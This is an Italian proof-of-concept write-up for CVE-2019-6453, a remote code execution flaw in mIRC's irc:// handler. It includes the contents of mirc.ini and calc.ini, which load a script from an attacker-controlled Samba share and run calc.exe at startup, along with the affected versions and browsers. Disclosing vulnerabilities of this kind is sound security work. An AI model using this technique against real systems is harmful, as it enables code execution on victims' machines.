
Prova di calcolo per CVE-2019-6453
Abbiamo trovato una vulnerabilità di Remote Code Execution in mIRC attraverso il gestore di protocollo URI irc://. Poiché mIRC non utilizza alcun tipo di segnaposto come -- per segnare la fine della lista degli argomenti, un attaccante può passare argomenti a mIRC tramite un collegamento irc:// ed eseguire codice arbitrario caricando un mirc.ini personalizzato da un file server Samba controllato dall'attaccante. Si noti che ircs:// funziona allo stesso modo.
La prova di calc richiede tre file: mirc.ini, calc.ini e poc.html. Supponiamo che un file server Samba sia in esecuzione dalla parte dell'attaccante. Ai fini dell'esempio, i seguenti frammenti di codice assumono che sia in esecuzione sull'host 127.0.0.1 (ovvero sostituisci 127.0.0.1 con l'indirizzo del tuo server nei file seguenti per provare).
mirc.ini è un file di configurazione personalizzato che dovrebbe trovarsi in C:\mirc-poc\mirc.ini sul file server.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini è un file script remoto che dovrebbe trovarsi in C:\mirc-poc\calc.ini sul file server.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
Semplicemente visitare poc.html dovrebbe funzionare assumendo che mIRC sia impostato come gestore predefinito per lo schema URI irc:// e che il browser non codifichi il payload. A seconda del browser e della tua configurazione, potresti comunque ricevere un prompt (non è il caso di Firefox).

Questa PoC funziona per mIRC <7.55.
Puoi attivare la PoC su Edge 42.17134 (ultima versione preview) e Firefox 64.0.2 (ultima release). Non funziona su Chrome per il modo in cui Chrome gestisce i protocolli URI (l'URI viene codificato prima di essere passato all'applicazione).